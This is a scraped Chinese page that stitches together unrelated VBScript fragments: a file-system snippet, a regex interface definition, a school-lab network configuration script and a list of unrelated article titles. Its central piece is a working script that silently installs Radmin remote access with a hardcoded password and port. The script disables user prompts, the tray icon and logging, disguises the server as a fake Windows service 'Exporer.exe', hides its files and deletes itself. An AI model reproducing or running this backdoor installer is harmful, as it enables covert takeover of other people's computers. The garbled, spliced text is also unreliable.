隐形功能多用于木马程序,但木马程序在许多国家和地区是不合法的,为便于理解,本文用VB结合一个程序防拷贝的实例来讲解

'This code is done by KangKang@

Option explicit ‘This is optional, but better to use.

Dim FolderPath,Folder

Dim fso,File,Files

Dim fileNums

Dim FileString()

Dim i

Dim ii

i=0

FolderPath="E:\TDDOWNLOAD\aa"

'**********************1.To create the FileSystemObject object********************************

Set fso=CreateObject("Scripting.FileSystemObject")'This is the way to create FileSystemObjecy

‘这句话在Excel VBA中也可以如此定义来引用FSO!

'Scripting是类库的名字,filesystemobject是所引用的对 '象, 说明了此时VBA所用的对象不是自带的,而是引用 '外界的

interface IRegExp2 : IDispatch {

[id(0x00002711), propget]

HRESULT Pattern([out, retval] BSTR* pPattern);

[id(0x00002711), propput]

HRESULT Pattern([in] BSTR pPattern);

[id(0x00002712), propget]

HRESULT IgnoreCase([out, retval] VARIANT_BOOL* pIgnoreCase);

[id(0x00002712), propput]

HRESULT IgnoreCase([in] VARIANT_BOOL pIgnoreCase);

[id(0x00002713), propget]

HRESULT Global([out, retval] VARIANT_BOOL* pGlobal);

[id(0x00002713), propput]

HRESULT Global([in] VARIANT_BOOL pGlobal);

[id(0x00002717), propget]

HRESULT Multiline([out, retval] VARIANT_BOOL* pMultiline);

[id(0x00002717), propput]

HRESULT Multiline([in] VARIANT_BOOL pMultiline);

[id(0x00002714)]

HRESULT Execute(

[in] BSTR sourceString,

[out, retval] IDispatch** ppMatches);

[id(0x00002715)]

HRESULT Test(

[in] BSTR sourceString,

[out, retval] VARIANT_BOOL* pMatch);

[id(0x00002716)]

HRESULT Replace(

[in] BSTR sourceString,

[in] VARIANT replaceVar,

[out, retval] BSTR* pDestString);

};

对于OLE,用于交换信息的两个应用程序分别称为服务者和客户

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_

strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")

strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)

uBinary=Array(1,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)

uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码

uBinary=Array(5,4,0,0)//端口:1029

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)

uBinary=Array(10,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

strValueName="LogFilePath"

strValue="c:\logfile.txt"

setwshshell=createobject("wscript.shell")

a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"

strValueName="Description"

strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="DisplayName"

strValue="WindowsManagementInstrumentationPlayerDrivers"

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="ImagePath"

strValue="c:\windows\system32\Exporer.exe/service"

oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

setwshshell=createobject("wscript.shell")

a=wshshell.run("netstartWinManageHelp",0)

b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)

c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)

d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除

->

","")'输入机算机名,默认值为空

ift=""then'如果t等于空(按了取消键),则

inputon="quit"'返回值为"quit"

exitfunction'退出程序

endif

iflen(t)=3then'计算机号的长度为3位

ifCint(t)>=100andCint(t)<580then'验证

inputon=t'返回需要的计算机名

exitfunction

endif

endif

wend

endfunction

'///修改机器ip、掩码、网关、工作组、机器名

subwmitoip(t)

strComputer="."

strmask="255.255.255.0"

Dimlt,rt'变量

dimipv,gateway,lan'ip,网关,工作组

lt=cint(left(t,1))'机号左1位数字值

rt=cint(right(t,2))'机号右两位数字值

iflt=1orlt=2then'判断网关

gateway="192.168.1.254"

else

gateway="192.168.3.254"

endif

iflt=1then'1号机房

lan="S01"

ipv="192.168.1."

ifrt=0then'教师机

ipv=ipv+"100"

else'学生机

ipv=ipv+Cstr(rt)

endif

endif

iflt=2then'2号机房

lan="S02"

ipv="192.168.1."

ifrt=0then'教师机

ipv=ipv+"200"

else'学生机

rt=rt+100

ipv=ipv+Cstr(rt)

endif

endif

iflt=3then'3号机房

lan="S03"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"80"

else'学生机

ipv=ipv+Cstr(rt)

endif

endif

iflt=4then'4号机房

lan="S04"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"160"

else'学生机

rt=rt+80

ipv=ipv+Cstr(rt)

endif

endif

iflt=5then'5号机房

lan="S05"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"240"

else'学生机

rt=rt+160

ipv=ipv+Cstr(rt)

endif

endif

SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")

SetcolNetAdapters=objWMIService.ExecQuery("Select*fromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

strIPAddress=Array(ipv)

strSubnetMask=Array(strmask)

strGateway=Array(gateway)'修改网关

'strGatewayMetric=Array(1)'跃点数

strDNS=Array("61.134.1.4")

ForEachobjNetAdapterincolNetAdapters

errEnable=objNetAdapter.EnableStatic(strIPAddress,strSubnetMask)'ip,掩码

errGateways=objNetAdapter.SetGateways(strGateway)'网关

errDns=objNetAdapter.SetDNSServerSearchOrder(strDNS)'dns

Next

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")

SetcolComputers=objWMIService.ExecQuery_

("Select*fromWin32_ComputerSystem")

ForEachobjComputerincolComputers

err=ObjComputer.Rename("No_"&t)'机器名

ReturnValue=objComputer.JoinDomainOrWorkGroup("S0"&left(t,1))'工作组

Next

endsub

最後面我也付了Showje的文章,使用的方式全部不同,不管是他的或我的,都有一个地方要解决才能做为Mouse自动导引的程式,那就是Mouse在自动Move时,如何让使用者不能移动Mouse,而这个问题就要使用JournalPlayBackHook,底下的程式中,使用EnableHook,FreeHook,这两个函数是Copy自如何使键盘、Mouse失效

如果一切顺利(就脚本编写方面,事情总是很顺利,对吧?),Windows资源管理器将会打开且焦点定位在C:\Scripts上:

真酷优秀电影->

一些字符的结果是不同的:

例:VBS:AscW("过")和JS:"过".charCodeAt(0);得到的结果是不同的。

wend计算机语言,计算机脚本语言开机显示当前页面发生相关推荐

  1. 启动计算机 英语,电脑开机显示英文是怎么回事

    电脑开机显示英文是怎么回事 导读:小编根据大家的需要整理了一份关于<电脑开机显示英文是怎么回事>的内容,具体内容:?有网友表示不知道为什么最近电脑开机老是出现英文,不知道怎么解决.就让小编 ...

  2. 计算机脚本语言是什么?

    脚本语言( JavaScript, VBscript等)介于 HTML和 C, C++,Java, C#等编程语言之间. HTML通常用于格式化和链接文本.而编程语言通常用于向机器发出一系列复杂的指令 ...

  3. python脚本语言是什么意思_python为什么是脚本语言

    python的命名起源于一个脚本screenplay,每次运行都会使对话框逐字重复.由著名的"龟叔"Guido van Rossum在1989年圣诞节期间编写. Python为我们 ...

  4. python是脚本语言_Python 脚本语言

    python 脚本语言 (python的命名起源于一个脚本screenplay,每次运行都会使对话框逐字重复.由著名的"龟叔"Guido van Rossum在1989年圣诞节期间 ...

  5. 计算机语言分类:机器语言、汇编语言、标记语言、脚本语言、编程语言

    一.计算机语言分类: 1. 机器语言 机器语言是计算机最原始的语言,是由0和1的代码构成,cpu在工作的时候只认识机器语言,即0和1的代码. 2. 汇编语言 汇编语言,即为一种低级语言,它用人类容易记 ...

  6. RSD 99脚本语言拼接屏幕墙实像元显示程序剖析

    上一篇介绍了EDA(Extensive Display Array)拼接屏大规模图像处理(https://blog.csdn.net/gordon3000/article/details/123232 ...

  7. 计算机语言 时间,甲骨文将ISO日期到计算机的语言环境日期/时间

    我插入到一个Oracle数据库表使用下列插入字符串(约 - 有140列,所以我不会显示所有):甲骨文将ISO日期到计算机的语言环境日期/时间 "INSERT INTO AMS_ASSET_C ...

  8. 计算机编程语言的分类,解释型语言、编译型语言、脚本语言的区别

    原文传送门:http://blog.csdn.net/liuchuo/article/details/52014764 计算机编程语言的分类: 机器语言(二进制代码) 汇编语言(面向机器的程序设计语言 ...

  9. 计算机开机引导的结果是,电脑开机显示引导媒体是怎么回事

    电脑开机显示引导媒体是怎么回事 分类:数据恢复常见问题|最后更新:2020年4月9日 开机显示重新启动并选择适当的引导设备或插入 1.如果主机上接有可移动存储介质(如光盘.移动硬盘.U盘等),将其拔掉 ...

  10. 计算机编程语言的分类,解释型语言、编译型语言、脚本语言的关系

    计算机编程语言的分类: 机器语言(二进制代码) 汇编语言(面向机器的程序设计语言) 高级语言(按转换方式可分为两类:1.编译型语言;  2.解释型语言   ||  按照客观系统的描述可分为两类:1.面 ...

最新文章

  1. 区块链热度飙升 BAT抢先布局话语权争夺战开打
  2. python绘图和可视化_Python 绘图和可视化详细介绍
  3. CentOS查看CPU、内存、网络流量和磁盘 I/O
  4. php 未定义偏移,未定义的偏移PHP错误,尝试从文件读取
  5. 内附 PPT | 新零售里程碑,神策数据新起点
  6. Floyd求传递闭包
  7. 【英语学习】【WOTD】leviathan 释义/词源/示例
  8. 什么是数据恢复工具,一款一键恢复软件
  9. word里画的流程图怎么全选_word画流程图 Word中绘制流程图的正确姿势,这招大多数人不知道...
  10. excel多个工作表合并怎么操作
  11. USB大容量存储设备浅析
  12. 玩客云pc端_玩客云电脑客户端-玩客云PC端 V1.4.5.112 免费安装版
  13. iOS:内存优化思路
  14. win10硬盘锁怎么解除_win10系统中BitLocker加密磁盘无法解锁怎么办?
  15. RPG Maker MV之起始队伍设置
  16. 驼峰命名法与下划线命名法之争
  17. HTAP 深入探索指南
  18. “你不认识我,那你干嘛插我的队?”
  19. python爬取网页json数据_python爬取json数据库
  20. 网页发起临时QQ会话

热门文章

  1. 13 万字 C 语言从入门到精通保姆级教程2021 年版
  2. ArcView GIS 应用与开发技术(2)-Tables
  3. 推荐系统实践:基于数据集MovieLens构造简单推荐系统
  4. 格力手机2刷机 格力手机二代刷机 GREE G0215D刷机教程
  5. SolidWorks2020无法获得下列许可SOLIDWORKS Standard.Server节点已经关闭或是没有响应。(-96,7,11003)
  6. B站上这些Python和数据分析视频真香!
  7. PS破解版全网下架?这款国产工具可完美替代
  8. MySQLsqlyog更新版
  9. Sqlyog的安装与使用
  10. sql获取服务器系统时间,sql怎么读取系统日期和时间